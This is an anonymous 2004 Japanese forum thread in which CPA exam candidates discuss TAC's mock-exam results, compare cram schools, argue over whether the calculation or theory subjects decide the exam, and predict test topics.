145 ：一般に公正妥当と認められた名無しさん：04/04/18 22:24 ID:???

今回の全答練で一番凄かったのは財表だね。
最初の文章がぶっ飛びまくり。
テスト中に訂正されないから誤植じゃないのかと思って、
どうやって解答に外貨の論点を絡めるのか悩んじゃったよ。

146 ：一般に公正妥当と認められた名無しさん：04/04/18 23:05 ID:???

>>145
え、絡めなかったの？０点じゃん。

147 ：一般に公正妥当と認められた名無しさん：04/04/19 14:14 ID:???

第１問１００点かも・・

148 ：一般に公正妥当と認められた名無しさん：04/04/19 14:51 ID:???

今年の財表は野坂の早朝をパくったって本当か？

149 ：一般に公正妥当と認められた名無しさん：04/04/19 16:01 ID:D9xW0iAR

川村の方がいい、これが現実。
どんなに洗脳しようが、マジョリティーでわかりやすい

150 ：一般に公正妥当と認められた名無しさん：04/04/19 17:27 ID:1e6xe8j8

まあ成人したいい大人が試験に落ちたことや成績が低いのを講師のせいにしてるのは
あわれですな。がっはっは。

151 ：一般に公正妥当と認められた名無しさん：04/04/19 22:24 ID:4BlkLdkT

解説って意味泣くね？まじうけんければよかた
七科目一度は効率悪いな

152 ：一般に公正妥当と認められた名無しさん：04/04/19 22:28 ID:???

　え？そうなの？木戸っちとか解説してるじゃん？俺は日曜に受けようかと
思ってたんだけど。解説会の感想キボンヌ。

153 ：一般に公正妥当と認められた名無しさん：04/04/19 23:47 ID:WXvmxyg3

土日で受けたけど、財表訂正入ってたよ。外貨は外してくれだとさ。
解説なんてテープでいいじゃん。

154 ：一般に公正妥当と認められた名無しさん：04/04/20 14:33 ID:???

レックの公開模試は母集団が今年100人を切る勢いだから
レック生の大半が全答錬にきて煽ってるんだろう。
言い換えればもはやレックは財表ぐらいしかタックに
対抗できないってことだよ。

155 ：一般に公正妥当と認められた名無しさん：04/04/20 14:57 ID:GQuDhv/Y

なるほど。
どこかのカルト団体みたいだな。
質的には変わらないのに、変に賞賛するのはきもい

156 ：一般に公正妥当と認められた名無しさん：04/04/21 17:53 ID:???

TAC生ってどれくらいの人が財表を掛け持ちしてるんだろう？

157 ：一般に公正妥当と認められた名無しさん：04/04/21 18:18 ID:???

３年目いこうの人はほとんどしてる。
俺も来年掛け持ちする。

158 ：一般に公正妥当と認められた名無しさん：04/04/21 19:17 ID:K+4H0AKl

ＴＡＣ財表を一律ビデオで語られても・・・
生クラスに抜群な講師ウジャウジャいるのに・・・
これだから、洗脳・煽りはこわい

159 ：一般に公正妥当と認められた名無しさん：04/04/21 20:50 ID:???

財表はどこがお勧めなんだ？

160 ：一般に公正妥当と認められた名無しさん：04/04/22 08:31 ID:ikI75rEq

>>159

TACでじゅうぶんだろ。

161 ：一般に公正妥当と認められた名無しさん：04/04/22 14:42 ID:???

>>160
あの答練じゃどうにもならんだろう。
去年の使いまわしだぞ。

それより財表って最近経営以上に試験委員の影響が出てる気がする。

162 ：一般に公正妥当と認められた名無しさん：04/04/22 15:27 ID:m7HiUdiP

今年の経営はギャンブルなのか？
ファイナンスを切りすぎだと思うんだけど・・・
４人が出すとか、４通に分担されるとか・・・

財表は別に戦略科目でもないんだからそんなに・・・
去年・一昨年は実務家が出題していたことを考えると純粋に理論オンリーという
ことも考えられるので、費用対効果から合格点取れれば・・・

簿記＆原価計算＆経済で合格点＋αとれればいいので・・・・
このパターンの合格者が一番多いそうだし・・・

163 ：一般に公正妥当と認められた名無しさん：04/04/22 15:28 ID:???

ぜんとうれんの財表、具体的にはどの問題がLECの早朝のﾊﾟｸﾘなの？

164 ：一般に公正妥当と認められた名無しさん：04/04/22 16:10 ID:???

専門学校間で問題がかぶらない方がが変。別にLのをパクったわけじゃない。

165 ：一般に公正妥当と認められた名無しさん：04/04/22 16:28 ID:gJYj0vnv

レック自体が埋没だろ
タックだけで充分
それで余裕があれば少し大原やればいいだろ
つーか、よく聞くけど野坂って誰よ？

166 ：一般に公正妥当と認められた名無しさん：04/04/22 16:56 ID:Txt24FQ2

全党蓮の財表はかなり良い問題でしょ、絶対チェックだぜ。

167 ：一般に公正妥当と認められた名無しさん：04/04/23 14:51 ID:???

レック生自体去年の論文そんなに出来てなかったぞ。
結局財表に割ける時間は限られてるしあれだけの分量だと
消化不良で終わるって。
そもそも財表なんかで合否はきまらんだろう。

168 ：一般に公正妥当と認められた名無しさん：04/04/23 15:17 ID:???

>>そもそも財表なんかで合否はきまらんだろう
決まらないてことは無いだろうけど、
思った以上に失敗してもそんなに致命傷にならないのは確かだろうね。
簿記や原形、経済で失敗する方がはるかに痛いわな。

169 ：一般に公正妥当と認められた名無しさん：04/04/23 20:52 ID:???

TACの財表は、内容がどうのこうのよりあの著しく使えない論点集を
大幅に改良する必要があるだろう。監査論に問題集がないのもいただけない。
あと、簿原の問題集が毎年全く同じというのもなめとる。
ｽﾚﾁｶﾞｲｽﾏｿ。

170 ：一般に公正妥当と認められた名無しさん：04/04/23 22:45 ID:soMp9Rpt

うかりゃいいんだよ、うかれば。

171 ：一般に公正妥当と認められた名無しさん：04/04/23 23:17 ID:???

　＞１６９
　マジですか？！　確かに論点集は改良を、監査は論点集の作成を、簿原が同じ
ってのは初めて知りますた。そりゃあなめてるね。
　＞１６８
　順番ズレテすみません。財表で過去に論文しくじって落ちたと思うって友人がいますが
財表って本試験はみんな結構書ける→自分が書けないと致命傷ってことはないんでしょうか？

172 ：一般に公正妥当と認められた名無しさん：04/04/24 00:01 ID:kw04Xqm0

財表何を書いたらいいかって教えてくれない授業が問題
まぁ　あたらし目の基準なら暗記だけでオッケーだけど

でもレク生はタックと比べ論文受験者間で少なくとも、
15点分のアドバンテージをもってることは間違いないよ。

173 ：ひみつの検疫さん：2024/11/17(日) 06:31:07 ID:MarkedRes

汚染を除去しました。

174 ：一般に公正妥当と認められた名無しさん：04/04/24 01:50 ID:???

でもLEC生って理論で15点取るための勉強で、
TAC生より計算で15点以上落としてそうじゃない？

175 ：一般に公正妥当と認められた名無しさん：04/04/24 06:48 ID:???

>>174
さにあらず
原計のすばらしさ

176 ：一般に公正妥当と認められた名無しさん：04/04/24 13:19 ID:mlV5baVo

所詮は、簿記・原価計算・経済で決まる試験。
いずれかで扱けると確実に落ちる。
それが、この試験な訳で。

177 ：一般に公正妥当と認められた名無しさん：04/04/24 13:25 ID:???

計算科目ひとつ失敗してもぎりぎり挽回可能。
ふたつ失敗すると確実に落ちる。

178 ：一般に公正妥当と認められた名無しさん：04/04/24 15:16 ID:???

試験委員は受験生に理論科目の内容なんて期待していない。
必要最小限の知識を如何に首尾一貫させ論理的に矛盾しないように書けるかがポイント。
細かい事（国際会計も含むかも）書きすぎて矛盾したり、間違った知識を書く方が致命的。

179 ：一般に公正妥当と認められた名無しさん：04/04/24 15:19 ID:???

>細かい事（国際会計も含むかも）書きすぎて矛盾したり、間違った知識を書く方が致命的

方が、じゃなくて、絶対的に致命的だろ

180 ：一般に公正妥当と認められた名無しさん：04/04/24 15:46 ID:???

>>179
178を擁護するつもりはないが、
「方が」でいいんじゃないか、試験委員が実際に言ってをるわけじゃないし。
絶対、だと試験委員が言ったなどの根拠が必要になるからな。

181 ：一般に公正妥当と認められた名無しさん：04/04/24 16:05 ID:???

あのさ、母集団がタックの20分の1以下のレックなんてどうでもいいでしょ？
それに論文式受ければわかると思うけどこの試験は計算で決まる。
財表と計算（簿記・原型・経済）ではインパクトが全然違う。

182 ：一般に公正妥当と認められた名無しさん：04/04/24 17:42 ID:KwEi0hjZ

通ってるとこの母集団多いことと自分が凄いことをごちゃ混ぜにしてるのは頭が弱いから？

183 ：一般に公正妥当と認められた名無しさん：04/04/24 17:48 ID:???

http://www.tokyoparadise.com/dhouse/985/bigimage/h319.jpg

184 ：一般に公正妥当と認められた名無しさん：04/04/24 18:08 ID:???

だったら、おまえら計算三科目で八割とれるのかっつーの。

185 ：一般に公正妥当と認められた名無しさん：04/04/24 18:56 ID:d5yNqj0Z

120点ずつとれりゃ大丈夫

186 ：一般に公正妥当と認められた名無しさん：04/04/24 19:09 ID:???

だったら理論と変わらんではないか。
なんで計算で決まるなんて言い切れるんだろ。

187 ：一般に公正妥当と認められた名無しさん：04/04/24 19:59 ID:???

短期（1～2年）で受かった人（俺）は、簿と財（特に金融やリース、連結、分割etc）、
監と商、ミクロと投資論と原計（意思決定のあたり）の限界概念
などをまとめて覚えたり考えたりして体系ずける。
計算に執着してる奴は時間の無駄だし、
簿記ではテキストの仕訳を全て間違えず切れるわけでもないのに、
総合問題を理解ではなく慣れで高得点をだすようになる（特にﾍﾞﾃ）。
こうなるとプライドが邪魔で基本に帰れなくなるから、永遠に受からない。

188 ：一般に公正妥当と認められた名無しさん：04/04/24 20:32 ID:???

計算は差がつく。理論は差をつけにくい。
もちろん、理論で明らかな嘘を書いた場合は沈むけど、そういうことやる
人は合格ラインにいない。ボーダー前後にいる人の決め手は計算の
出来による。理論で力いれるべきは法律科目。一発退場になる危険性のある
科目だからです。

189 ：一般に公正妥当と認められた名無しさん：04/04/24 22:21 ID:pzuSEExY

TAC短4とうれん5回目の問題24の質問させていただきます。
資料に正常仕損費を異常仕損品に負担させるか否かは正常仕損の発生点をもとに判断する。
とあって、正常仕損と異常仕損が0.4の発生点が同じだったとき、解答には異常仕損と正常仕損の発生点は等しいので、異常仕損品に正常仕損費を負担させないとなっているんですが、理由がわかりません。
どなたか賢いかたご指導お願いします。

190 ：一般に公正妥当と認められた名無しさん：04/04/24 23:33 ID:OGYWbFS8

>>189
実務上の慣行みたいだよ。
元々異常仕損品には正常仕損費を負担させるべきでない
という考え方が根強くあるから同じ進捗度の異常仕損品には
正常仕損費を負担させない事にしていると先生が言ってた気がする。
まあおぼえちゃえば？

191 ：一般に公正妥当と認められた名無しさん：04/04/25 00:52 ID:jtUu2YMO

>>184
ベテが何回も同じとうれん受けて八割取ってんのを自慢スンナ
本試験じゃ同じ問題でねーぞ。

まぁ来年も全答練の割引使って人生無駄にしてくれ

192 ：一般に公正妥当と認められた名無しさん：04/04/25 00:59 ID:???

>189
異常仕損と正常仕損の発生点が同じならば負担させない。
但し、期末仕掛品と正常仕損の発生点が同じなら期末仕掛品に正常仕損費を
負担させるので注意！入門のテキストに書いてあるよ。

193 ：一般に公正妥当と認められた名無しさん：04/04/25 03:06 ID:JdjghrRg

計算科目と理論科目の採点の違いだよ計算で稼げってのは。

194 ：一般に公正妥当と認められた名無しさん：04/04/25 09:40 ID:???

>>191
計算三科目が鍵→だったら計算で八割とれるの？→いや、取れません。
→だったら何故計算三科目が鍵なんていえるのか？

っていう流れだろが。

195 ：一般に公正妥当と認められた名無しさん：04/04/25 10:39 ID:cJHS8BJ7

民法組と経済組がケンカしてんのか？
せめて短答終わってからしろよ

196 ：一般に公正妥当と認められた名無しさん：04/04/25 17:08 ID:???

マルチポストに付き合うなんて、お前ら良い奴だな。
正直､189みたいな奴とは関わりたくない。

197 ：一般に公正妥当と認められた名無しさん：04/04/25 18:43 ID:???

マルチポストって書いてから気づいた。
189はお礼もいわんしね

198 ：一般に公正妥当と認められた名無しさん：04/05/16 00:04 ID:Nrm5FQ79

簿記論　基答練1は平均点何点?

199 ：一般に公正妥当と認められた名無しさん：04/05/16 22:12 ID:???

答案返却はいつですか？

200 ：一般に公正妥当と認められた名無しさん：04/05/18 20:29 ID:vcJ9eQbd

全答練一回目の答案回収してきます他。
平均420.97点。上位20%が684.03点。
トップは820点？でした。

201 ：全答練平均点　３７５３人受験/６３５３人申込：04/05/18 23:44 ID:In9R6Kto

　科目　上位２００名　　全受験者
　簿記　　６４．３１　　　　４３．１８
　　　　　　４７．３９　　　　２７．４６
　財表　　４２．９５　　　　２５．７３
　　　　　　４５．７５　　　　３１．２１
　経営　　３６．８９　　　　２０．９２
　　　　　　２３．６９　　　　１５．７５
　原計　　５３．６５　　　　３６．４４
　　　　　　４１．１４　　　　２３．７６
　監査　　４９．４５　　　　３１．０１
　　　　　　４５．５６　　　　３０．８０
　経済　　６４．９３　　　　３９．３１
　　　　　　５３．２７　　　　２９．４１
　商法　　５９．９０　　　　４３．７４
　　　　　　５４．１３　　　　４１．５７
　民法　　５１．４８　　　　３５．５２
　　　　　　５７．４８　　　　４０．６１

経営経済　６８４．０３　　　４２０．９７
経営民法　６７０．７１　　　４１０．０８
経済民法　７１５．５０　　　４６９．７５

202 ：一般に公正妥当と認められた名無しさん：04/05/19 09:11 ID:???

計算マンセーがかなりいるな。
財表監査経営の平均・上位２００は低すぎ

203 ：一般に公正妥当と認められた名無しさん：04/05/19 10:33 ID:???

ていうか、全受験者、上位２００名ともに
全科目で去年の全答練１回目の平均を下回ってるぞ。

難易度の違いがあって一概には言えないけど
受験者のレベルが低下したか、全答練を無視して
短答対策に特化してる香具師が増えたんだろうな。

受験者は何名？去年は3920名だけど。

204 ：一般に公正妥当と認められた名無しさん：04/05/19 10:34 ID:???

>>201
名前欄に受験者数書いてあったね・・・逝ってきます

205 ：一般に公正妥当と認められた名無しさん：04/05/19 12:49 ID:ze8vZG6Q

そうか今日結果出ているんだな、貰いに逝こう

206 ：一般に公正妥当と認められた名無しさん：04/05/19 14:37 ID:???

地方校はいつですか？

207 ：一般に公正妥当と認められた名無しさん：04/05/20 00:47 ID:???

kyoudayo

208 ：一般に公正妥当と認められた名無しさん：04/05/20 02:50 ID:n2TDrvSJ

皆どうだったんだ？？

209 ：一般に公正妥当と認められた名無しさん：04/05/20 03:09 ID:n2TDrvSJ

俺は７００番台だったよ・・・・・簿記と経済死亡しすぎて悲しかった・・・・
やっぱり理論で稼ぐのは無理みたいだね、経営の点とか見るとなきそうになるよ。

経済得意なのに全然出来なかった・・・・・・ヽ(`Д´)ﾉｳﾜｧｧｧﾝ

210 ：一般に公正妥当と認められた名無しさん：04/05/20 09:15 ID:???

俺は名前が載ったよ。
計算三科目でかなり稼げたみたい
やはり計算で大きく差がつくと思うよ。

211 ：一般に公正妥当と認められた名無しさん：04/05/20 10:50 ID:???

理論の採点てあんなもんなんか？
本番はもっと点数つくんじゃねーの？

212 ：一般に公正妥当と認められた名無しさん：04/05/20 11:35 ID:???

採点ってどんなやつがやってんの？

213 ：一般に公正妥当と認められた名無しさん：04/05/20 20:29 ID:???

>>211
自分ができなかっただけじゃない？ﾆﾔﾆﾔ

214 ：一般に公正妥当と認められた名無しさん：04/05/20 21:39 ID:???

俺LECで、ぜんとうれん受けたけど
TACは定義書かないと激しく減点されるんだな、しらんかった。

215 ：一般に公正妥当と認められた名無しさん：04/05/21 01:19 ID:cv4rX0J1

>>214

大丈夫だ、野栄メソッドだけで財表名前載せてきたから
タックは守りの定義に少しやさしいだけだ

216 ：一般に公正妥当と認められた名無しさん：04/05/21 02:17 ID:???

全答練２回目はなぜ短答発表前にやるのかしら？
採点も大変だろうに。

申込者に対するポーズか？
それにしても時期がすこし早すぎる。７月中旬くらいがベストと思われ。

217 ：一般に公正妥当と認められた名無しさん：04/05/21 02:40 ID:???

なんてこった・・・・・
　　　　. . : : : :: : : :: : ::: :: : :::: :: ::: ::: ::::::::::::::::::::::::::::::::::::::
　　　.　. .... ..: : :: :: ::: :::::: :::::::::::: : :::::::::::::::::::::::::::::::::::::::::::::
　　　　　　　 Λ＿Λ . . . .: :::::::::::::::::::::::
　　　　　　/:彡ミ゛ヽ;）ー､　. ::: : :: ::::::::: :::::::::::::::::::::::::::::
　　　　　 / :::/:: ヽ、ヽ、 ::i . .:: :.: ::: . :::::::::::::::::::::::::::::::::::::::
　　　　 / :::/;;: 　ヽ　ヽ ::ｌ　. :. :. .:: : :: :: :::::::: : ::::::::::::::::::
￣￣￣（_,ノ￣￣￣ヽ､_ノ￣￣

218 ：一般に公正妥当と認められた名無しさん：04/05/21 07:09 ID:???

>>216
他の専門学校生で短答落ちた人が受験料を払わなくなるから。
さすが営利追求が本質の株式会社TAC。一回5000円は高すぎるだろ！

219 ：一般に公正妥当と認められた名無しさん：04/05/21 11:23 ID:???

受験してない3000人はなんなんだ？

ドロップアウトが１０００人、担当特化が2000人ってとこか？

220 ：一般に公正妥当と認められた名無しさん：04/05/21 14:59 ID:ywxMJDyI

ちょっと2回目早い気がするね確かに、7月にならないのかな？？

221 ：一般に公正妥当と認められた名無しさん：04/05/22 01:35 ID:qP/yi5MA

今からでも変えて欲しいな

総受験数の議決権の過半数を有する受験者が参加し、その議決権の３分の２以上の多数で変えられないかなぁ？

222 ：一般に公正妥当と認められた名無しさん：04/05/22 01:35 ID:qP/yi5MA

２２２

223 ：一般に公正妥当と認められた名無しさん：04/05/23 01:18 ID:R3xl0n2F

４０００人いて、合格レベルは何番なんでしょうね？

224 ：一般に公正妥当と認められた名無しさん：04/05/23 01:32 ID:R3xl0n2F

そういや、平日組と土日組って順位分けないのでしょうか？

225 ：一般に公正妥当と認められた名無しさん：04/05/23 01:57 ID:s6p1xiot

＞＞２２３

７００番ぐらいじゃない？

226 ：一般に公正妥当と認められた名無しさん：04/05/26 22:51 ID:DVchVxoA

今も300位が合格の目安なんですか？

227 ：一般に公正妥当と認められた名無しさん：04/05/31 14:43 ID:sygF+qG3

＞＞２２６
レスストッパー＆馬鹿の方ですか？

228 ：一般に公正妥当と認められた名無しさん：04/05/31 18:13 ID:???

全答練早すぎるよ。
６月半ばの時期の順位付け、あまり参考にならないな。

229 ：一般に公正妥当と認められた名無しさん：04/06/01 21:37 ID:???

採点者だれ？
若手？
ひどいよ。特に経営、監査。
なんで俺があんな藁な点数なんだよ！！

230 ：一般に公正妥当と認められた名無しさん：04/06/01 21:38 ID:???

監査でひどいのは細いペンのほうね

231 ：一般に公正妥当と認められた名無しさん：04/06/02 12:29 ID:???

723 名前：一般に公正妥当と認められた名無しさん：04/06/02 12:09 ID:w3Wz9/tC
毎年、試験後のスレッドを見てる超ベテのオレが
書き込みの雰囲気からズバリとボーダーを当ててやるよ。
今年は３３か３４だね。
間違いない。

724 名前：一般に公正妥当と認められた名無しさん：04/06/02 12:10 ID:???
>>723
どのくらいの超ベテ？

725 名前：723 ：04/06/02 12:19 ID:w3Wz9/tC
>>724
まあ、前世紀から受けてたね。
って言っても、論文の全答練は
毎年、１００番台だが・・なぜか論文受からん

232 ：一般に公正妥当と認められた名無しさん：04/06/02 12:30 ID:7iJIDFBX

テキスト暗記じゃうからないってことだね

233 ：一般に公正妥当と認められた名無しさん：04/06/16 21:03 ID:???

そろそろ揚げ

234 ：一般に公正妥当と認められた名無しさん：04/06/17 11:17 ID:???

そろそろ出題予想しない？まずは簿記の構造問題あたりから

235 ：一般に公正妥当と認められた名無しさん：04/06/18 01:32 ID:4oAGsOMi

本支店はでないでしょ？

連結ＣＦか連結じゃない？

236 ：一般に公正妥当と認められた名無しさん：04/06/18 01:33 ID:tQ5FVlb3

本支店は一回目で出ちゃったしな、どうなんでしょ。
今年の本命は本支店なのかな・・・・・

237 ：一般に公正妥当と認められた名無しさん：04/06/18 01:47 ID:???

◎○▲△×で予想ｷﾎﾞﾝ。

238 ：一般に公正妥当と認められた名無しさん：04/06/19 01:21 ID:???

まったく盛り上がらんな。

239 ：一般に公正妥当と認められた名無しさん：04/06/19 02:16 ID:viBgqwfZ

簿記は特商ベースの個別と連結キャッシュで決まり。

240 ：一般に公正妥当と認められた名無しさん：04/06/19 02:19 ID:???

おいらも連結CFは一押しですよ！

241 ：一般に公正妥当と認められた名無しさん：04/06/19 02:20 ID:fLEjnG73

　　　　　　　　　　　ｏ
　　　　　　　　　　　 /　￣￣￣￣￣￣￣￣￣￣ /
　　　　　　　　　　　/　　　このスレは無事に　　/
　　　　　　　　　　 /　　終了いたしました　　　 /
　　　　　　　　　　/　ありがとうございました　 /
　　　　　　　　　 /　　　　　　　　　　　　　　　　/
　　　　　　　　　/　　　　モナーより　　　　　 /
　　　　　　　　 /￣￣￣￣￣￣￣￣￣￣￣/
　 ∧＿∧　　/　　　　　　　　　　　　　　　　/∧＿∧
　（　^∀^）　/　　　　　　　　　　　　　　　　/（^∀^　）
　（　　　　）つ　　　　　　　　　　　　　　　⊂（　　　　）
　｜｜｜　　　　　　　　　　　　　　　　　　｜｜｜
　（_＿）＿）　　　　　　　　　　　　　　　　　　（＿（＿_）

242 ：一般に公正妥当と認められた名無しさん：04/06/19 03:58 ID:???

　　　　　　　　　　　ｏ
　　　　　　　　　　　 /　￣￣￣￣￣￣￣￣￣￣ /
　　　　　　　　　　　/　　　このスレは無事に　　/
　　　　　　　　　　 /　　再開いたしました　　　 /
　　　　　　　　　　/　ありがとうございました　 /
　　　　　　　　　 /　　　　　　　　　　　　　　　　/
　　　　　　　　　/　　　　　山崎より　　　　　 /
　　　　　　　　 /￣￣￣￣￣￣￣￣￣￣￣/
　 ∧＿∧　　/　　　　　　　　　　　　　　　　/∧＿∧
　（　^　^）　/　　　　　　　　　　　　　　　　/（^　^　）
　（　　　　）つ　　　　　　　　　　　　　　　⊂（　　　　）
　｜｜｜　　　　　　　　　　　　　　　　　　｜｜｜
　（_＿）＿）　　　　　　　　　　　　　　　　　　（＿（＿_）

243 ：一般に公正妥当と認められた名無しさん：04/06/19 09:43 ID:EvVr8+j7

苦しんでこいｗ

244 ：一般に公正妥当と認められた名無しさん：04/06/20 03:11 ID:???

ｸﾗｽﾀｰだ！

245 ：一般に公正妥当と認められた名無しさん：04/06/21 03:15 ID:dPLv164f

意外と論文まとめが重いな・・・・・苦しい

246 ：一般に公正妥当と認められた名無しさん：04/06/21 22:01 ID:dPLv164f

いよいよ明日だな、お前等もしかして忘れてないよな？？

247 ：一般に公正妥当と認められた名無しさん：04/06/21 22:26 ID:???

>>245
本試験で点数取りたいなら論文まとめなんてやめておけ。
いいか、考えるな。全答練の順位なんて･･･。

248 ：一般に公正妥当と認められた名無しさん：04/06/21 22:28 ID:dPLv164f

マジですか？？でも一応押さえないと不安なんだよ、
じゃー他に何やれば良いですか？？

249 ：一般に公正妥当と認められた名無しさん：04/06/21 22:30 ID:???

明日は第一回に比べて、受験者数は激減しているんだろうな

250 ：一般に公正妥当と認められた名無しさん：04/06/21 22:37 ID:dPLv164f

どうだろう、明日風強いと嫌だな。

251 ：一般に公正妥当と認められた名無しさん：04/06/21 22:41 ID:???

風が吹いたら遅刻して
雨が降ったらお休みです。

252 ：一般に公正妥当と認められた名無しさん：04/06/21 22:45 ID:dPLv164f

そろそろ寝るかな、明日お互いがんがろう！！

253 ：一般に公正妥当と認められた名無しさん：04/06/21 22:47 ID:???

受験勉強そのものに内発的に動機付けられているおまえら、明日は全答練だな。
あまり勉強はすすんでないから正直受けたくないな。

254 ：一般に公正妥当と認められた名無しさん：04/06/22 18:58 ID:d69lBzUa

簿記は特商
　　　連結の仕訳問題

材表は外貨
　　　資本
　　　税効果　

255 ：一般に公正妥当と認められた名無しさん：04/06/22 19:12 ID:???

そんな去年の本試験の事なんてみんな知ってるよーんだ。

256 ：一般に公正妥当と認められた名無しさん：04/06/22 19:31 ID:???

みんな受けた？
おれめんどくさくなってやめた

257 ：一般に公正妥当と認められた名無しさん：04/06/22 19:34 ID:???

俺経営途中退出しちゃった。１時間も受けてない。１科目でも受ければ
ヤマくれるからいいやって。そのヤマもあたらないけど。

258 ：一般に公正妥当と認められた名無しさん：04/06/22 19:35 ID:DKgWPQg6

ヤマはあとでＴＡＣニュースみたいに入り口近くに山積みされるぞ

259 ：一般に公正妥当と認められた名無しさん：04/06/22 19:36 ID:???

ほんとに？いらねえじゃん全答練。

260 ：一般に公正妥当と認められた名無しさん：04/06/22 19:52 ID:C0jkw/UE

今回は調子良いぞ、明日乗り切ればかなりの好成績に。

261 ：一般に公正妥当と認められた名無しさん：04/06/22 22:35 ID:???

簿記、簡単だったよね。

262 ：一般に公正妥当と認められた名無しさん：04/06/22 23:47 ID:???

2chも盛り上がってないし、濡れのﾓﾁﾍﾞｰｼｮｿもまったくあがらん。
やっぱ時期が早いんだよな。簿記も１００分で終わったがめんどうで見直さえせず退出したし。

263 ：一般に公正妥当と認められた名無しさん：04/06/23 18:30 ID:39cnt465

経済ムズカッタな・・・・・・・・

264 ：一般に公正妥当と認められた名無しさん：04/06/23 18:36 ID:???

７月に実施すべきだったな。

265 ：一般に公正妥当と認められた名無しさん：04/06/23 18:37 ID:39cnt465

そんな気もする、しかし復習する期間が長く取れると思えば良いかも。

266 ：一般に公正妥当と認められた名無しさん：04/06/23 18:41 ID:???

本試験１ヶ月前にもう1回ほしいな。ヤマを結集させた全答練を。
今回のはカモフラージュだろうから。

267 ：一般に公正妥当と認められた名無しさん：04/06/23 18:42 ID:39cnt465

直前等連でカバーしてくれるでしょ、3回あるし。

268 ：一般に公正妥当と認められた名無しさん：04/06/23 21:54 ID:???

ヴぇては全答練は受けずに自習する人のほうが多いのですか?

269 ：他校生：04/06/23 23:35 ID:???

監査一体なんなんだよ？
解答欄無いなんていくらなんでもズサン過ぎ。
あんなのしょっちゅうなの？

270 ：一般に公正妥当と認められた名無しさん：04/06/24 01:09 ID:???

事務のアルバイトをしてるんですけど、やたら声をかけてこられる受講生の方がおられます。
プライベートなことも聞かれて正直困惑してます。
正社員の方のお話では、他の曜日の女性のバイトさんも応対に困っているようです。
合格された方ならともかく、失礼ですがいつ合格されるともわからない方に正直魅力は感じません。
だって合格されないかぎりは無職無収入でご両親に負担をかけてるのでしょうし、資格はなくてもしっかり働いている方の方が尊敬できます。

271 ：一般に公正妥当と認められた名無しさん：04/06/24 02:21 ID:HtKAseFE

本校の○○ちゃんですか？

272 ：一般に公正妥当と認められた名無しさん：04/06/24 08:31 ID:K0gi97T1

さー今日でﾗｽﾄだ、皆気合入れていくぞ！！！！！！！！！！！！！俺達は絶対勝つ！！！！！！！！

273 ：一般に公正妥当と認められた名無しさん：04/06/24 08:43 ID:Gzf1doh4

>>257,258
「やま」ってなんのことですか？
全答練受けた人にやまあての冊子とかくれるんですか？
申し込んで受けてない人は？

274 ：一般に公正妥当と認められた名無しさん：04/06/24 10:44 ID:???

>273
冊子みたいになってて、全科目、各講師が分野表に競馬みたく○やら三角やら
つけてあるやつだよ。あれは、普通に７月くらいになれば山積みに入口あたりに
置いてある。もちろんただ取り。よって大原やＬＥＣが取っていくことも可能。
これでわかったか？？

275 ：一般に公正妥当と認められた名無しさん：04/06/24 11:10 ID:???

合格しても就職できない
騙されたことに今更気づいたら

消費生活総合センター
http://www.shouhiseikatu.metro.tokyo.jp/

■　資格商法 110番合格しても就職できない！ ■
http://school4.2ch.net/test/read.cgi/exam/1088039828/l50

276 ：一般に公正妥当と認められた名無しさん：04/06/24 11:21 ID:???

大原で受けたし、ＴＡＣ受けてないんだけど財表、監査何がでたん？

277 ：273：04/06/24 12:37 ID:Gzf1doh4

>274
わかりました。ありがとうございました。

278 ：一般に公正妥当と認められた名無しさん：04/06/24 13:57 ID:VbTNVrkM

>>276
大原の山当てくれるなら教えてあげる。

279 ：一般に公正妥当と認められた名無しさん：04/06/24 14:02 ID:VbTNVrkM

とりあえず終わって良かった、お前等問題がバレナイように感想よろしく

280 ：一般に公正妥当と認められた名無しさん：04/06/24 15:10 ID:ZK0Uckt3

簿記の試用品わかんなかった…

281 ：一般に公正妥当と認められた名無しさん：04/06/24 15:17 ID:???

>>280
本番までにできれば問題ない

282 ：一般に公正妥当と認められた名無しさん：04/06/24 18:08 ID:ut7MJxlv

経済・経営がムズかったよ。
特に、経済はヤバいね。

283 ：一般に公正妥当と認められた名無しさん：04/06/24 18:36 ID:btdHGVgh

商法の二問めの小一問、小ニ問に比べてスペースあり
すぎて何書いていいかまよったね。

284 ：一般に公正妥当と認められた名無しさん：04/06/24 20:09 ID:???

今回、TACは当てにきてるん？

285 ：一般に公正妥当と認められた名無しさん：04/06/24 21:11 ID:0wpYTppX

経済むずいんだ安心

しかし商法うんこみたいな問題
馬鹿○部が自分の生徒が基本的な問題だと他校の受験生に勝てないのを隠すために作ったって感じ

286 ：一般に公正妥当と認められた名無しさん：04/06/24 21:13 ID:???

氏名　はにわ

287 ：一般に公正妥当と認められた名無しさん：04/06/24 21:22 ID:5V3mVVld

基本的な問題だろ商法は・・・・・そうじゃないのか？？

288 ：一般に公正妥当と認められた名無しさん：04/06/24 21:28 ID:1J48eEbb

商法は別に文句言うほどじゃないような。
あれむずいならしっかり勉強しろよ。
阿部マンセーではないのであしからず。

289 ：一般に公正妥当と認められた名無しさん：04/06/24 21:32 ID:???

問１は問題なく書けるはず、問２はもしかしたら阿部じゃないと厳しかったかもしれない、
債権者保護の必要性とか詳しくやったのは論文まとめだったし。ただ部分的に厳しくても書けるでしょ大体は。

290 ：一般に公正妥当と認められた名無しさん：04/06/24 21:32 ID:???

とりあえず解答欄があったのにホッとしたよ。
それほどムズいとは感じなかったけど、一問目はちょっと意外だった。
あれは出ないだろ～？

291 ：一般に公正妥当と認められた名無しさん：04/06/24 22:24 ID:???

経済が難しかったって人がいて安心した。
商法の1問目は確かに意外。
2問目は思いっきり山だって言われてたとこだったから、みんな出来たと思ったけど？

292 ：一般に公正妥当と認められた名無しさん：04/06/24 23:08 ID:???

2回目全答練ってどれくらいで成績返ってきますか？
結果見て発奮しないといけないんで、早くしてほしいんですけど。

293 ：一般に公正妥当と認められた名無しさん：04/06/24 23:58 ID:Lq61p8/w

よかったー。私も経済超むずくて早くおわっちゃった＆経営も1問目と3問目くらいしか良く掛けなかった。
あとは作文した。商法は、別にむずいとは感じなかった。けど。

294 ：一般に公正妥当と認められた名無しさん：04/06/25 03:48 ID:???

商法２問目ヤマだったの？

ＴＡＣ生？

295 ：大原生：04/06/25 05:18 ID:cJ31aHYt

あのー全答練ってあの程度のレベルなんっすか？
聞いてた話では、いつもすげー難しいよってことなんで、緊張していったんですけど、総じて簡単すぎてびっくりしました。
簿記⇒ふつう
財表⇒そんなんでるか？って感じ。かつ、大原で今年度出題済ばかり。
経営⇒いかにも手抜きな感じの作問。作ったやつは本当に経営わかってんの？
原計⇒ふつう
